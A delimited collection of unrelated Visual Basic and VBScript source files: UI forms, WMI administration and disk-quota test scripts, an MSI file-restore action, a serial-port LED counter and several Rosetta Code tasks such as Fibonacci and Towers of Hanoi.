TabIndex = 10
Top = 2040
Width = 4095
End
Begin VB.Label lblLicenseTo
Alignment = 1 'Right Justify
Caption = "Licensed to Admins of ""K2"""
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 255
Left = 270
TabIndex = 1
Tag = "1058"
Top = 300
Width = 6855
End
Begin VB.Label lblProductName
AutoSize = -1 'True
Caption = " MetaEditor"
BeginProperty Font
Name = "Arial"
Size = 32.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 735
Left = 2670
TabIndex = 9
Tag = "1057"
Top = 1200
Width = 3465
End
Begin VB.Label lblCompanyProduct
AutoSize = -1 'True
Caption = "Microsoft ""K2"""
BeginProperty Font
Name = "Arial"
Size = 18
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 405
Left = 2505
TabIndex = 8
Tag = "1056"
Top = 765
Width = 2460
End
Begin VB.Label lblPlatform
Alignment = 1 'Right Justify
AutoSize = -1 'True
Caption = "NT/Win95"
BeginProperty Font
Name = "Arial"
Size = 15.75
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
Left = 5490
TabIndex = 7
Tag = "1055"
Top = 2400
Width = 1515
End
Begin VB.Label lblVersion
Alignment = 1 'Right Justify
AutoSize = -1 'True
Caption = "1.0"
BeginProperty Font
Name = "Arial"
Size = 12
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 270
Left = 6630
TabIndex = 6
Tag = "1054"
Top = 2760
Width = 375
End
Begin VB.Label lblWarning
Caption = $"frmSplsh.frx":61A2
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 675
Left = 300
TabIndex = 3
Tag = "1053"
Top = 3720
Width = 6855
End
Begin VB.Label lblCompany
Caption = "Microsoft Corporation"
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 255
Left = 4710
TabIndex = 5
Tag = "1052"
Top = 3330
Width = 2415
End
Begin VB.Label lblCopyright
Caption = "Copyright"
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 255
Left = 4710
TabIndex = 4
Tag = "1051"
Top = 3120
Width = 2415
End
End
End
Attribute VB_Name = "frmSplash"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
'LoadResStrings Me
lblVersion.Caption = "Version " & App.Major & "." & App.Minor & "." & App.Revision
lblProductName.Caption = App.Title
End Sub
|
VERSION 5.00
Begin VB.Form FindForm
BorderStyle = 3 'Fixed Dialog
Caption = "Find"
ClientHeight = 2235
ClientLeft = 45
ClientTop = 330
ClientWidth = 4560
Icon = "Find.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 2235
ScaleWidth = 4560
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin VB.CommandButton OkButton
Caption = "OK"
Default = -1 'True
Height = 345
Left = 1800
TabIndex = 8
Top = 1800
Width = 1260
End
Begin VB.CommandButton CancelButton
Caption = "Cancel"
Height = 345
Left = 3240
TabIndex = 7
Top = 1800
Width = 1260
End
Begin VB.CheckBox WholeStringCheck
Caption = "Match whole string only"
Height = 255
Left = 120
TabIndex = 6
Top = 1440
Width = 2175
End
Begin VB.Frame LookAtFrame
Caption = "Look at:"
Height = 735
Left = 120
TabIndex = 2
Top = 600
Width = 4335
Begin VB.CheckBox DataCheck
Caption = "Data"
Height = 195
Left = 3000
TabIndex = 5
Top = 360
Value = 1 'Checked
Width = 1095
End
Begin VB.CheckBox KeysCheck
Caption = "Keys"
Height = 195
Left = 120
TabIndex = 4
Top = 360
Value = 1 'Checked
Width = 1095
End
Begin VB.CheckBox NamesCheck
Caption = "Names"
Height = 195
Left = 1560
TabIndex = 3
Top = 360
Value = 1 'Checked
Width = 1095
End
End
Begin VB.TextBox FindText
Height = 285
Left = 1080
TabIndex = 1
Top = 240
Width = 3375
End
Begin VB.Label Label1
Caption = "Find What:"
Height = 255
Left = 120
TabIndex = 0
Top = 240
Width = 975
End
End
Attribute VB_Name = "FindForm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
DefInt A-Z
Private Sub OkButton_Click()
If FindText.Text <> "" Then
'We're done
Me.Hide
'Set search parameters
Load FindWorkingForm
FindWorkingForm.Target = FindText.Text
FindWorkingForm.SearchKeys = (KeysCheck.Value = vbChecked)
FindWorkingForm.SearchNames = (NamesCheck.Value = vbChecked)
FindWorkingForm.SearchData = (DataCheck.Value = vbChecked)
FindWorkingForm.WholeMatch = (WholeStringCheck.Value = vbChecked)
FindWorkingForm.NewSearch = True
'Search
FindWorkingForm.Show vbModal, MainForm
Else
MsgBox "Please specify a string to search for.", vbExclamation + vbOKOnly, "Find"
End If
End Sub
Private Sub CancelButton_Click()
Me.Hide
End Sub
|
If objRS.RecordCount = 1 Then
WScript.Echo objRS.Fields("DistinguishedName")
End If
|
Option Explicit
Sub test()
Dim Obj As New myObject
Obj.Method_1 "Hello to you"
Obj.Method_2 "What is your name ?"
Obj.Method_1
Obj.Method_2
End Sub
|
on error resume next
const wbemPrivilegeShutdown = 18
set service = getobject("winmgmts:{impersonationLevel=impersonate}")
service.security_.impersonationLevel = 3
service.security_.privileges.Add wbemPrivilegeShutdown
set osset = service.instancesof ("Win32_OperatingSystem")
for each os in osset
WScript "About to shut down os " & os.path_.relpath
result = os.Shutdown ()
if err <> 0 then
WScript.Echo Hex(Err.Number), Err.Description
else
WScript.Echo "Shutdown returned result " & result
end if
next
|
Public Function Fib(n As Integer) As Long
Dim fib0, fib1, sum As Long
Dim i As Integer
fib0 = 0
fib1 = 1
For i = 1 To n
sum = fib0 + fib1
fib0 = fib1
fib1 = sum
Next
Fib = fib0
End Function
|
<filename>drivers/storage/wmiprov/vds/test/scripts/quotas.vbs<gh_stars>10-100
'tempAccount = "Win32_Account.Domain=""NTDEV"",Name=""harshita"""
dim strNamespace
dim tempAccount
dim objAdmin
dim strUsage
strUsage = "usage: Quotas.vbs <host|.> <drivePath>"
if (wscript.Arguments.Count <> 2) then
wscript.echo ("wrong number of arguments")
wscript.echo (strUsage)
wscript.quit
end if
strNamespace = "winmgmts://" & wscript.Arguments(0) & "/root/cimv2"
strVolume = wscript.Arguments(1)
strVolume = Replace (strVolume, "\", "\\")
set objNSVolumeUserQuota = GetObject(strNamespace & ":Win32_VolumeUserQuota").SpawnInstance_
sysAccountName = "NETWORK SERVICE"
logFileName = "log_Quotas.txt"
Set fso = CreateObject("Scripting.FileSystemObject")
result = fso.FileExists(logFileName)
if (result = true) then
fso.DeleteFile(logFileName)
end if
set f = fso.CreateTextFile(logFileName)
strQuery = "select * from Win32_Volume where Name = '" & strVolume & "'"
set VolumeSet = GetObject(strNamespace).ExecQuery(strQuery)
rc = ReportIfErr(Err, " FAILED - volume query operation failed")
for each obj in VolumeSet
set Volume = obj
exit for
next
if IsNull(Volume.DriveLetter) then
wscript.echo ("specified volume must have a drive letter assigned")
wscript.echo (strUsage)
wscript.quit
end if
strQuery1 = "select * from Win32_LogicalDisk where Name = '" & volume.driveletter & "'"
set DiskSet = GetObject(strNamespace).ExecQuery(strQuery1)
rc = ReportIfErr(Err, " FAILED - logicaldisk query operation failed")
for each diskobj in DiskSet
set disk = diskobj
exit for
next
call VUQTests ()
call ClassComparisons()
call DisplaySummary()
'********************************************************************************
function VUQTests ()
on error resume next
Set objSystemAccount = GetObject(strNamespace).ExecQuery _
("Select * from Win32_SystemAccount where name ='NETWORK SERVICE'")
rc = ReportIfErr(Err, " FAILED - SystemAccount query operation failed")
for each objSysAccount in objSystemAccount
strAccountRef = objSysAccount.Path_.RelPath
exit for
next
strVolumeRef = volume.Path_.RelPath
objNSVolumeUserQuota.Volume = strVolumeRef
objNSVolumeUserQuota.Account = strAccountRef
objNSVolumeUserQuota.Limit = 10000
objNSVolumeUserQuota.WarningLimit = 500
objNSVolumeUserQuota.DiskSpaceUsed = 0
objNSVolumeUserQuota.Status = 0
wscript.echo ("attempting creation of VolumeUserQuota")
objNSVolumeUserQuota.Put_
rc = ReportIfErr(Err, " FAILED - VolumeUserQuota Put operation failed")
wscript.echo ("checking creation of new VolumeUserQuota")
tempAccount = strAccountRef 'used in tests later
set myAssoc = volume.Associators_("Win32_VolumeUserQuota")
rc = ReportIfErr(Err, "FAILED - volume associators query operation failed")
found = FALSE
for each account in myAssoc
if (account.name = sysAccountName) then
found = TRUE
call WriteLog (" success - new VolumeUserQuota created")
end if
next
if (found = FALSE) then
call WriteLog (" FAILURE - new VolumeUserQuota creation")
call WriteLog (" SKIPPING - updation and deletion of VolumeUserQuota")
end if
objNSVolumeUserQuota.Refresh_
rc = ReportIfErr(Err, " FAILED - VolumeUserQuota Refresh operation failed")
wscript.echo ("")
wscript.echo ("Attempting updation of VolumeUserQuota")
wscript.echo (" objNSVolumeUserQuota.WarningLimit = "&objNSVolumeUserQuota.WarningLimit)
wscript.echo (" objNSVolumeUserQuota.Limit = "&objNSVolumeUserQuota.Limit)
wscript.echo (" setting WarningLimit = Limit")
objNSVolumeUserQuota.WarningLimit = objNSVolumeUserQuota.Limit
objNSVolumeUserQuota.Put_
rc = ReportIfErr(Err, " FAILED - VolumeUserQuota Put operation failed")
wscript.echo (" doing a refresh")
objNSVolumeUserQuota.Refresh_
rc = ReportIfErr(Err, " FAILED - VolumeUserQuota Refresh operation failed")
wscript.echo (" validating updation")
if (objNSVolumeUserQuota.WarningLimit = objNSVolumeUserQuota.Limit) then
call WriteLog (" success - updation of VolumeUserQuota")
else
call WriteLog (" FAILURE - updation of VolumeUserQuota")
end if
wscript.echo ("")
wscript.echo ("deleting above VolumeUserQuota")
objNSVolumeUserQuota.Delete_
rc = ReportIfErr(Err, " FAILED - VolumeUserQuota Delete operation failed")
set myAssoc = volume.Associators_("Win32_VolumeUserQuota")
found = FALSE
for each account in myAssoc
if (account.name = sysAccountName) then
found = TRUE
call WriteLog (" FAILED - new VolumeUserQuota deletion")
end if
next
if (found = FALSE) then
call WriteLog (" success - new VolumeUserQuota deletion")
end if
end function
'********************************************************************************
function DisplaySummary()
f.Close
Set f = fso.OpenTextFile(logFileName)
wscript.echo ("")
wscript.echo ("***************************************")
wscript.echo (" Test Summary ")
wscript.echo ("***************************************")
wscript.echo ("")
Do While f.AtEndOfStream <> True
wscript.echo(f.ReadLine)
Loop
wscript.echo ("")
wscript.echo ("***************************************")
wscript.echo (" End of Test Summary ")
wscript.echo ("***************************************")
wscript.echo ("")
f.Close
end function
'********************************************************************************
Function MapErrorCode(ByRef strClass, ByRef strMethod, ByRef intCode, ByRef strMessage)
set objClass = GetObject(strNamespace).Get(strClass, &h20000)
set objMethod = objClass.methods_(strMethod)
values = objMethod.qualifiers_("values")
if ubound(values) < intCode then
call WriteLog(" FAILURE - no error message found for " & intCode & " : " & strClass & "." & strMethod)
strMessage = ""
else
strMessage = values(intCode)
end if
End Function
'********************************************************************************
function classComparisons()
wscript.echo ("")
wscript.echo ("VolumeQuota Association Classes:")
set volumeReferences = volume.References_("Win32_VolumeQuota")
set diskReferences = disk.References_("Win32_VolumeQuotaSetting")
for each myThing in volumeReferences
Wscript.Echo " Element: "&myThing.Element
Wscript.Echo " Setting: "&myThing.Setting
next
wscript.echo ("")
wscript.echo ("VolumeQuotaSetting Association Classes:")
for each myThing in diskReferences
Wscript.Echo " Element: "&myThing.Element
Wscript.Echo " Setting: "&myThing.Setting
next
wscript.echo ("")
wscript.echo ("VolumeUserQuota Association Classes:")
set myReferences = volume.References_("Win32_VolumeUserQuota")
set diskReferences = disk.References_("Win32_DiskQuota")
For each myThing in myReferences
wscript.echo ""
Wscript.Echo " Volume: "& vbTab & myThing.Volume
Wscript.Echo " Account: "&myThing.Account
Wscript.Echo " Status: "&myThing.Status
Wscript.Echo " Limit: "&myThing.Limit
Wscript.Echo " Warning Limit: "&myThing.WarningLimit
Wscript.Echo " DiskSpaceUsed: "&myThing.DiskSpaceUsed
Next
wscript.echo ("")
wscript.echo ("DiskQuota Association Classes:")
For each myThing in diskReferences
wscript.echo ""
Wscript.Echo " QuotaVolume: "& vbTab & myThing.QuotaVolume
wscript.echo " User: "& myThing.User
Wscript.Echo " Status: "&myThing.Status
Wscript.Echo " Limit: "&myThing.Limit
Wscript.Echo " Warning Limit: "&myThing.WarningLimit
Wscript.Echo " DiskSpaceUsed: "&myThing.DiskSpaceUsed
Next
wscript.echo ("")
call WriteLog (" success - all associator classes retrieved")
end function
'********************************************************************************
function DisplayVUQ (byref obj)
wscript.echo ""
Wscript.Echo " Volume: "& vbTab & obj.Volume
Wscript.Echo " Account: "&obj.Account
Wscript.Echo " Status: "&obj.Status
Wscript.Echo " Limit: "&obj.Limit
Wscript.Echo " Warning Limit: "&obj.WarningLimit
Wscript.Echo " DiskSpaceUsed: "&obj.DiskSpaceUsed
end function
'********************************************************************************
Function ReportIfErr(ByRef objErr, ByRef strMessage)
ReportIfErr = objErr.Number
if objErr.Number <> 0 then
strError = strMessage & " : " & Hex(objErr.Number) & " : " & objErr.Description
call WriteLog (strError)
objErr.Clear
end if
End Function
Sub WriteLog(ByRef strMessage)
wscript.echo strMessage
f.writeline strMessage
End Sub
|
' The following sample enumerates all instances of the class
' Win32_LogicalDisk, and extract the the member with a specified
' relative path.
Set objServices = GetObject("cim:root/cimv2")
Set objEnum = objServices.ExecQuery ("select * from Win32_LogicalDisk")
' Note that the Item method is the default method of this interface
Set objInstance = objEnum ("Win32_LogicalDisk=""C:""")
WScript.Echo objInstance.Path_.DisplayName
|
<filename>Task/Towers-of-Hanoi/VBScript/towers-of-hanoi.vb
Sub Move(n,fromPeg,toPeg,viaPeg)
If n > 0 Then
Move n-1, fromPeg, viaPeg, toPeg
WScript.StdOut.Write "Move disk from " & fromPeg & " to " & toPeg
WScript.StdOut.WriteBlankLines(1)
Move n-1, viaPeg, toPeg, fromPeg
End If
End Sub
Move 4,1,2,3
WScript.StdOut.Write("Towers of Hanoi puzzle completed!")
|
<reponame>LaudateCorpus1/RosettaCodeData
'Instatiate FSO.
Set objFSO = CreateObject("Scripting.FileSystemObject")
'Open the CSV file for reading. The file is in the same folder as the script and named csv_sample.csv.
Set objInCSV = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "\csv_sample.csv",1,False)
'Set header status to account for the first line as the column headers.
IsHeader = True
'Initialize the var for the output string.
OutTxt = ""
'Read each line of the file.
Do Until objInCSV.AtEndOfStream
line = objInCSV.ReadLine
If IsHeader Then
OutTxt = OutTxt & line & ",SUM" & vbCrLf
IsHeader = False
Else
OutTxt = OutTxt & line & "," & AddElements(line) & vbCrLf
End If
Loop
'Close the file.
objInCSV.Close
'Open the same file for writing.
Set objOutCSV = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "\csv_sample.csv",2,True)
'Write the var OutTxt to the file overwriting existing contents.
objOutCSV.Write OutTxt
'Close the file.
objOutCSV.Close
Set objFSO = Nothing
'Routine to add each element in a row.
Function AddElements(s)
arr = Split(s,",")
For i = 0 To UBound(arr)
AddElements = AddElements + CInt(arr(i))
Next
End Function
|
<filename>Task/Greatest-common-divisor/VBA/greatest-common-divisor-2.vba
Public Function GCD(a As Long, b As Long) As Long
While a <> b
If a > b Then a = a - b Else b = b - a
Wend
GCD = a
End Function
|
Function RestoreFiles()
dim fso
dim strWindows
dim strNewName
dim strCurrentName
on error resume next
set fso = createobject( "scripting.filesystemobject" )
if not fso is nothing then
' get the path to the windows folder
strWindows = Session.Property( "WindowsFolder" )
if strWindows is nothing then
' MSI session did not give the value properly
' so try to get the same information from API
strWindows = fso.GetSpecialFolder( 0 ) & "\"
end if
' prepare the file paths
strNewName = strWindows & "Help\suptools.chm"
strCurrentName = strWindows & "Help\suptoolsold.chm"
if fso.FileExists( strNewName ) then
fso.DeleteFile strNewName, true
end if
fso.MoveFile strCurrentName, strNewName
set fso = nothing
end if
RestoreFiles = 1
End Function
|
<filename>Task/Sum-multiples-of-3-and-5/VBA/sum-multiples-of-3-and-5-1.vba
Private Function SumMult3and5VBScript(n As Double) As Double
Dim i As Double
For i = 1 To n - 1
If i Mod 3 = 0 Or i Mod 5 = 0 Then
SumMult3and5VBScript = SumMult3and5VBScript + i
End If
Next
End Function
|
on error resume next
while true
set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!win32_diskpartition.DeviceId=""Disk #0, Partition #1""")
WScript.Echo obj.Path_.Class
for each system in obj.Associators_ (,"Win32_ComputerSystem")
WScript.Echo system.Name
next
if err <> 0 then
WScript.Echo err.number, err.description, err.source
end if
wend
|
<reponame>TanND/Electronic
VERSION 5.00
Object = "{648A5603-2C6E-101B-82B6-000000000014}#1.1#0"; "MSCOMM32.OCX"
Begin VB.Form Form1
Caption = "Dem 00 den 99"
ClientHeight = 3240
ClientLeft = 120
ClientTop = 450
ClientWidth = 5400
LinkTopic = "Form1"
ScaleHeight = 3240
ScaleWidth = 5400
StartUpPosition = 3 'Windows Default
Begin MSCommLib.MSComm MSComm1
Left = 4680
Top = 840
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
DTREnable = -1 'True
End
Begin VB.CommandButton Command4
Caption = "Stop"
CausesValidation= 0 'False
Height = 495
Left = 3360
TabIndex = 7
Top = 2160
Width = 1095
End
Begin VB.Frame Frame2
Caption = "Dem tu so x den 99"
Height = 975
Left = 360
TabIndex = 4
Top = 1920
Width = 4215
Begin VB.CommandButton Command3
Caption = "Start"
CausesValidation= 0 'False
Height = 495
Left = 1560
TabIndex = 6
Top = 240
Width = 1095
End
Begin VB.TextBox Text1
Height = 375
Left = 240
TabIndex = 5
Top = 360
Width = 1095
End
End
Begin VB.CommandButton Command2
Caption = "Stop"
Height = 495
Left = 2760
TabIndex = 3
Top = 960
Width = 1215
End
Begin VB.Frame Frame1
Caption = "Dem 00 den 99"
Height = 1095
Left = 240
TabIndex = 1
Top = 600
Width = 4335
Begin VB.CommandButton Command1
Caption = "Start"
Height = 495
Left = 720
TabIndex = 2
Top = 360
Width = 1215
End
End
Begin VB.Label Label1
Caption = "Dieu khien LED 7 thanh dem 00 den 99"
BeginProperty Font
Name = "MS Sans Serif"
Size = 13.5
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 240
TabIndex = 0
Top = 120
Width = 4935
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
send ("s")
End Sub
Private Sub send(x As String)
If MSComm1.PortOpen = True Then
MSComm1.Output = x
End If
End Sub
Private Sub Command3_Click()
so = Val(Text1.Text)
send (Val(3))
End Sub
Private Sub Form_Load()
With MSComm1
.Settings = "9600,N,8,1"
.CommPort = 2
.SThreshold = 1
.RThreshold = 1
.InputLen = 1
.InputMode = 0
.PortOpen = True
End With
End Sub
|
<reponame>npocmaka/Windows-Server-2003
VERSION 5.00
Object = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0"; "shdocvw.dll"
Object = "{BDC217C8-ED16-11CD-956C-0000C04E4C0A}#1.1#0"; "TABCTL32.OCX"
Begin VB.Form frmParameters
Caption = "Parameters"
ClientHeight = 6975
ClientLeft = 60
ClientTop = 345
ClientWidth = 7590
LinkTopic = "Form1"
ScaleHeight = 6975
ScaleWidth = 7590
StartUpPosition = 3 'Windows Default
Begin VB.Frame fraSKU
Height = 5535
Left = 120
TabIndex = 2
Top = 480
Width = 7335
Begin TabDlg.SSTab SSTab
Height = 3735
Left = 120
TabIndex = 11
Top = 1680
Width = 7095
_ExtentX = 12515
_ExtentY = 6588
_Version = 393216
Tabs = 5
Tab = 1
TabHeight = 520
TabCaption(0) = "Files to Include"
TabPicture(0) = "frmParameters.frx":0000
Tab(0).ControlEnabled= 0 'False
Tab(0).Control(0)= "txtFiles"
Tab(0).ControlCount= 1
TabCaption(1) = "Pkg Desc Addition"
TabPicture(1) = "frmParameters.frx":001C
Tab(1).ControlEnabled= -1 'True
Tab(1).Control(0)= "txtXML(0)"
Tab(1).Control(0).Enabled= 0 'False
Tab(1).ControlCount= 1
TabCaption(2) = "Pkg Desc Preview"
TabPicture(2) = "frmParameters.frx":0038
Tab(2).ControlEnabled= 0 'False
Tab(2).Control(0)= "WebBrowser(0)"
Tab(2).ControlCount= 1
TabCaption(3) = "HHT Addition"
TabPicture(3) = "frmParameters.frx":0054
Tab(3).ControlEnabled= 0 'False
Tab(3).Control(0)= "txtXML(1)"
Tab(3).ControlCount= 1
TabCaption(4) = "HHT Preview"
TabPicture(4) = "frmParameters.frx":0070
Tab(4).ControlEnabled= 0 'False
Tab(4).Control(0)= "WebBrowser(1)"
Tab(4).ControlCount= 1
Begin VB.TextBox txtFiles
Height = 2895
Left = -74880
MultiLine = -1 'True
TabIndex = 20
Top = 720
Width = 6735
End
Begin SHDocVwCtl.WebBrowser WebBrowser
Height = 2895
Index = 1
Left = -74880
TabIndex = 15
Top = 720
Width = 6735
ExtentX = 11880
ExtentY = 5106
ViewMode = 0
Offline = 0
Silent = 0
RegisterAsBrowser= 0
RegisterAsDropTarget= 1
AutoArrange = 0 'False
NoClientEdge = 0 'False
AlignLeft = 0 'False
NoWebView = 0 'False
HideFileNames = 0 'False
SingleClick = 0 'False
SingleSelection = 0 'False
NoFolders = 0 'False
Transparent = 0 'False
ViewID = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
Location = "http:///"
End
Begin VB.TextBox txtXML
Height = 2895
Index = 1
Left = -74880
MultiLine = -1 'True
ScrollBars = 3 'Both
TabIndex = 14
Tag = "1"
Top = 720
Width = 6735
End
Begin VB.TextBox txtXML
Height = 2895
Index = 0
Left = 120
MultiLine = -1 'True
ScrollBars = 3 'Both
TabIndex = 12
Tag = "1"
Top = 720
Width = 6735
End
Begin SHDocVwCtl.WebBrowser WebBrowser
Height = 2895
Index = 0
Left = -74880
TabIndex = 13
Top = 720
Width = 6735
ExtentX = 11880
ExtentY = 5106
ViewMode = 0
Offline = 0
Silent = 0
RegisterAsBrowser= 0
RegisterAsDropTarget= 1
AutoArrange = 0 'False
NoClientEdge = 0 'False
AlignLeft = 0 'False
NoWebView = 0 'False
HideFileNames = 0 'False
SingleClick = 0 'False
SingleSelection = 0 'False
NoFolders = 0 'False
Transparent = 0 'False
ViewID = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
Location = "http:///"
End
End
Begin VB.TextBox txtValue
Height = 285
Index = 3
Left = 2400
TabIndex = 8
Tag = "1"
Top = 960
Width = 4815
End
Begin VB.TextBox txtValue
Height = 285
Index = 2
Left = 2400
TabIndex = 6
Tag = "1"
Top = 600
Width = 4815
End
Begin VB.TextBox txtValue
Height = 285
Index = 1
Left = 2400
TabIndex = 4
Tag = "1"
Top = 240
Width = 4815
End
Begin VB.TextBox txtValue
Height = 285
Index = 4
Left = 2400
TabIndex = 10
Tag = "1"
Top = 1320
Width = 4815
End
Begin VB.Label lbl
Caption = "Product Version:"
Height = 255
Index = 3
Left = 120
TabIndex = 7
Top = 960
Width = 2295
End
Begin VB.Label lbl
Caption = "Product ID:"
Height = 255
Index = 2
Left = 120
TabIndex = 5
Top = 600
Width = 2295
End
Begin VB.Label lbl
Caption = "Display Name:"
Height = 255
Index = 1
Left = 120
TabIndex = 3
Top = 240
Width = 2295
End
Begin VB.Label lbl
Caption = "Broken Link Working Directory:"
Height = 255
Index = 4
Left = 120
TabIndex = 9
Top = 1320
Width = 2295
End
End
Begin VB.ComboBox cboSKU
Height = 315
Left = 600
Style = 2 'Dropdown List
TabIndex = 1
Top = 120
Width = 6855
End
Begin VB.TextBox txtValue
Height = 285
Index = 5
Left = 1200
TabIndex = 17
Tag = "1"
Top = 6120
Width = 6255
End
Begin VB.CommandButton cmdSave
Caption = "Save"
Height = 375
Left = 4920
TabIndex = 18
Top = 6480
Width = 1215
End
Begin VB.CommandButton cmdClose
Caption = "Close"
Height = 375
Left = 6240
TabIndex = 19
Top = 6480
Width = 1215
End
Begin VB.Label lbl
Caption = "SKU:"
Height = 255
Index = 0
Left = 120
TabIndex = 0
Top = 120
Width = 2295
End
Begin VB.Label lbl
Caption = "Vendor String:"
Height = 255
Index = 5
Left = 120
TabIndex = 16
Top = 6120
Width = 2295
End
End
Attribute VB_Name = "frmParameters"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Enum TXTVALUE_INDEX_E
VI_DISPLAY_NAME_E = 1
VI_PRODUCT_ID_E = 2
VI_PRODUCT_VERSION_E = 3
VI_BL_DIRECTORY_E = 4
VI_VENDOR_STRING_E = 5
End Enum
Private Enum XML_INDEX_E
XI_PKG_DESC_E = 0
XI_HHT_E = 1
End Enum
Private Enum SSTAB_INDEX_E
SI_FILE_E = 0
SI_PKG_DESC_E = 1
SI_PKG_DESC_PREVIEW_E = 2
SI_HHT_E = 3
SI_HHT_PREVIEW_E = 4
End Enum
Private p_clsSizer As Sizer
Private p_clsParameters As AuthDatabase.Parameters
Private p_blnDirty As Boolean
Private p_blnUpdating As Boolean
Private p_enumCurrentSKU As SKU_E
Private p_strTempFile As String
Private Sub cboSKU_Click()
p_ChangeSKU
End Sub
Private Sub cboSKU_Change()
p_ChangeSKU
End Sub
Private Sub Form_Load()
On Error GoTo LErrorHandler
Dim FSO As Scripting.FileSystemObject
cmdClose.Cancel = True
cmdSave.Default = True
Set p_clsSizer = New Sizer
Set p_clsParameters = g_AuthDatabase.Parameters
PopulateCboWithSKUs cboSKU, True
Set FSO = New Scripting.FileSystemObject
p_strTempFile = Environ$("TEMP") & "\" & FSO.GetTempName & ".xml"
SetFontInternal Me
p_enumCurrentSKU = 0
p_ChangeSKU
LEnd:
Exit Sub
LErrorHandler:
GoTo LEnd
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim Response As VbMsgBoxResult
If (p_blnDirty) Then
Response = MsgBox("You have usaved changes. " & _
"Are you sure that you want to exit?", vbOKCancel + vbExclamation)
If (Response <> vbOK) Then
Cancel = True
End If
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Dim FSO As Scripting.FileSystemObject
Set p_clsSizer = Nothing
Set p_clsParameters = Nothing
Set FSO = New Scripting.FileSystemObject
FSO.DeleteFile p_strTempFile
End Sub
Private Sub Form_Activate()
On Error GoTo LErrorHandler
p_SetSizingInfo
LEnd:
Exit Sub
LErrorHandler:
GoTo LEnd
End Sub
Private Sub Form_Resize()
On Error GoTo LErrorHandler
p_clsSizer.Resize
LEnd:
Exit Sub
LErrorHandler:
GoTo LEnd
End Sub
Private Sub cmdSave_Click()
On Error GoTo LErrorHandler
p_Save
LEnd:
p_blnDirty = False
Exit Sub
LErrorHandler:
g_ErrorInfo.SetInfoAndDump "cmdSave_Click"
GoTo LEnd
End Sub
Private Sub cmdClose_Click()
Unload Me
End Sub
Private Sub SSTab_Click(PreviousTab As Integer)
Dim strXML As String
Dim intIndex As Long
If (SSTab.Tab = SI_HHT_PREVIEW_E) Then
intIndex = XI_HHT_E
ElseIf (SSTab.Tab = SI_PKG_DESC_PREVIEW_E) Then
intIndex = XI_PKG_DESC_E
Else
Exit Sub
End If
strXML = "<X>" & txtXML(intIndex) & "</X>"
FileWrite p_strTempFile, strXML, , True
WebBrowser(intIndex).Navigate p_strTempFile
End Sub
Private Sub txtValue_Change(Index As Integer)
If (p_blnUpdating) Then
Exit Sub
End If
p_blnDirty = True
End Sub
Private Sub txtXML_Change(Index As Integer)
If (p_blnUpdating) Then
Exit Sub
End If
p_blnDirty = True
End Sub
Private Sub txtFiles_Change()
If (p_blnUpdating) Then
Exit Sub
End If
p_blnDirty = True
End Sub
Private Sub txtXML_GotFocus(Index As Integer)
cmdSave.Default = False
End Sub
Private Sub txtXML_LostFocus(Index As Integer)
cmdSave.Default = True
End Sub
Private Sub txtFiles_GotFocus()
cmdSave.Default = False
End Sub
Private Sub txtFiles_LostFocus()
cmdSave.Default = True
End Sub
Private Sub p_ChangeSKU()
Dim enumNewSKU As SKU_E
Dim Response As VbMsgBoxResult
Dim intIndex As Long
enumNewSKU = cboSKU.ItemData(cboSKU.ListIndex)
If (enumNewSKU = p_enumCurrentSKU) Then
Exit Sub
End If
If (p_blnDirty And (p_enumCurrentSKU <> 0)) Then
Response = MsgBox("You have unsaved changes. " & _
"Are you sure that you want to discard them?", vbOKCancel + vbExclamation)
If (Response <> vbOK) Then
For intIndex = 0 To cboSKU.ListCount - 1
If (cboSKU.ItemData(intIndex) = p_enumCurrentSKU) Then
cboSKU.ListIndex = intIndex
Exit Sub
End If
Next
End If
End If
p_enumCurrentSKU = enumNewSKU
p_blnUpdating = True
txtValue(VI_DISPLAY_NAME_E) = p_clsParameters.DisplayName(p_enumCurrentSKU)
txtValue(VI_PRODUCT_ID_E) = p_clsParameters.ProductId(p_enumCurrentSKU)
txtValue(VI_PRODUCT_VERSION_E) = p_clsParameters.ProductVersion(p_enumCurrentSKU)
